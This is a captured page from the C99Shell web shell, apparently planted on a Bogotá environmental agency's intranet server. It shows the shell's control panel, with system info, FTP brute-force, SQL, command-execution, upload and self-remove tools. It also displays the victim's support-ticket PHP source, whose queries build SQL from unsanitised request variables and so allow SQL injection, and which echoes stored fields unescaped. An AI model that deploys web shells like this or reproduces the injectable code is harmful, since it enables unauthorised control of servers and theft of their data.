!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\phpscripts\   drwxrwxrwx
Free 4.08 GB of 39.52 GB (10.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sistemasbuz2.php (10.47 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    $accion 
= isset($acc);
    if (
$accion == true) {
        if (
$acc == 1) {
            include(
'conexion.php');
            
$query ="UPDATE soporte SET respuest='$conc' WHERE id='$id'";
            
$result mysql_query($query,$db);
        }
    }
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Oficina Asesora de Planeaci&oacute;n, Sistemas</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript" type="text/JavaScript">
<!--

<!--
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}
//-->
function despMenu(nombre,sn) 

obj = document.all[nombre]; 
if (sn>0) 
obj.style.visibility = "visible"; 
else 
obj.style.visibility = "hidden"; 

function destacar(obj, val) 

if (val==1) 

itemOrig = obj.style.backgroundColor; 
obj.style.backgroundColor="#FFFAD7"; 

else 
obj.style.backgroundColor= itemOrig; 
}

function printWindow(){
browserVersion = parseInt(navigator.appVersion)
if (browserVersion >= 4) window.print()
}

//-->
</script>
<style type="text/css">
<!--
input {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 9px;
    color: #666666;
}
select {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 9px;
    color: #666666;
    background-color: #FFFFFF;
}
-->
</style>
</head>

<body link="#0066CC" vlink="#0066CC" alink="#0066CC" topmargin="0">
<table width="100%" border="0" cellpadding="6">
  <tr> 
    <td width="25%">&nbsp;</td>
    <td width="50%"><img src="sys/bann.gif" width="600" height="120"></td>
    <td width="25%">&nbsp;</td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
    <td valign="top" bgcolor="#FFFFFF"><table width="100%" border="1" cellpadding="6" cellspacing="0" bordercolor="#B9D7FF" bgcolor="#EAF3FF">
        <tr bgcolor="#B9D7FF"> 
          <td width="100%"><div align="center"><font color="#003366" size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Comprobante 
              de Servicio, grupo de sistemas e informaci&oacute;n, OAP</strong></font></div></td>
        </tr>
      </table></td>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td width="25%">&nbsp;</td>
    <td width="50%"><?php
                    
require('conexion.php');
                    
$consul7 "SELECT *
                    FROM soporte where id=
$id";
                    
                    
$result7 mysql_query($consul7,$db);
                    
$num_filas7 mysql_num_rows($result7);
                    
$myrow7 mysql_fetch_array($result7);
                    
$sid $myrow7["id"];
                    
$susr $myrow7["user"];
                    
$sdep $myrow7["dependencia"];
                    
$st_f $myrow7["tipo_fun"];
                    
$st_r $myrow7["tipo_req"];
                    
$st_p $myrow7["tipo_pro"];
                    
$sdes $myrow7["descripcion"];
                    
$sf_i $myrow7["fecha_ing"];
                    
$sf_u $myrow7["fecha_upd"];
                    
$sf_r $myrow7["fecha_res"];
                    
$scon $myrow7["contact"];
                    
$ssta $myrow7["status"];
                    
$sres $myrow7["respuest"];
                    
$sres str_replace("\n""<br>"$sres);
                    
$swho $myrow7["who"];
                    
                    
////////// Dependencia /////////////
                    
                    
if ($sdep == 0) {
                        
$sdepl "Subsecretar&iacute;a General";
                    }
                    if (
$sdep == 1) {
                        
$sdepl "Of. Asesora de PLaneaci&oacute;n Corporativa";
                    }
                    if (
$sdep == 2) {
                        
$sdepl "Dir. de Control y Seguimiento Ambiental";
                    }
                    if (
$sdep == 3) {
                        
$sdepl "Dir. Legal Ambiental";
                    }
                    if (
$sdep == 4) {
                        
$sdepl "Of. de Control Interno";
                    }
                    if (
$sdep == 5) {
                        
$sdepl "Of. de Participaci&oacute;n Comunitaria, Educaci&oacute;n Ambiental y Comunicaciones";
                    }
                    if (
$sdep == 6) {
                        
$sdepl "Dir de PLaneaci&oacute;n y Gesti&oacute;n Ambiental";
                    }
                    if (
$sdep == 7) {
                        
$sdepl "Dir. de Gesti&oacute;n Corporativa";
                    }
                    if (
$sdep == 8) {
                        
$sdepl "Secretar&iacute;a General";
                    }
              

    
    
    
?> <table width="100%" border="1" cellpadding="6" cellspacing="0" bordercolor="#B9D7FF" bgcolor="#EAF3FF">
        <tr> 
          <td>
              <table width="100%" border="0" cellspacing="0" cellpadding="4">
              <tr> 
                <td><div align="left"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Petici&oacute;n 
                    No:</strong> <font size="3"><strong><?php echo $id?></strong></font></font></div></td>
                <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Solicit&oacute;:</strong> 
                  <font size="3"><?php echo $susr?></font></font></td>
              </tr>
              <tr> 
                <td colspan="2"><div align="left"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong><?php echo $d?>
                    <?php echo $pro?> , </strong><?php echo $sf_i?></font></div></td>
              </tr>
              <tr> 
                <td colspan="2"><div align="left"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Solicitud:</strong> 
                    <?php echo $sdes?> </font> </div></td>
              </tr>
              <tr> 
                <td colspan="2"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Respuesta:</strong> 
                  <?php echo $sres?></font></td>
              </tr>
              <tr> 
                <td colspan="2"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>A 
                  ejecutar por:</strong> <?php echo $swho?></font></td>
              </tr>
              <tr> 
                <td colspan="2"><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Temas 
                    Tratados durante la sesi&oacute;n de trabajo <br>
                    (Incluye los compromisos establecidos durante la misma)</font></div></td>
              </tr>
              <tr bgcolor="#FFFFFF"> 
                <td height="150" colspan="2"> <table width="100%" height="100%" border="1" cellpadding="0" cellspacing="0" bordercolor="#CCCCFF">
                    <tr> 
                      <td><form name="form1" method="post" action="">
                          <div align="center"> 
                            <p> 
                              <textarea name="conc" cols="70" rows="4" id="conc"><?php echo $sres?></textarea>
                              <input name="id " type="hidden" id="id " value="<?php echo $id?>">
                              <input name="d" type="hidden" id="d" value="<?php echo $d?>">
                              <input name="pro" type="hidden" id="pro" value="<?php echo $pro?>">
                              <input name="acc" type="hidden" id="acc" value="1">
                            </p>
                            <p>
                              <input type="submit" name="Submit" value="Actualizar el registro..!">
                            </p>
                          </div>
                        </form></td>
                    </tr>
                  </table></td>
              </tr>
              <tr> 
                <td colspan="2"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Firma 
                  Integrantes</font></td>
              </tr>
              <tr bgcolor="#FFFFFF"> 
                <td height="70" colspan="2"><table width="100%" height="100%" border="1" cellpadding="0" cellspacing="0" bordercolor="#CCCCFF">
                    <tr> 
                      <td>&nbsp;</td>
                    </tr>
                  </table></td>
              </tr>
              <tr> 
                <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong><?php echo $swho?>
                  </strong> </font></td>
                <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Participantes</strong></font></td>
              </tr>
            </table>
            <p align="center"><a href="javascript:printWindow()"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Imprimir...</strong></font></a></p></td>
        </tr>
      </table></td>
    <td width="25%">&nbsp;</td>
  </tr>
  <tr> 
    <td width="25%">&nbsp;</td>
    <td width="50%"><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Todos 
        los derechos reservados para el <br>
        Departamento T&eacute;cnico Administrativo del Medio Ambiente. <br>
        <strong>DAMA 2005</strong><br>
        <em>Bogot&aacute;, Colombia.</em></font></div></td>
    <td width="25%">&nbsp;</td>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--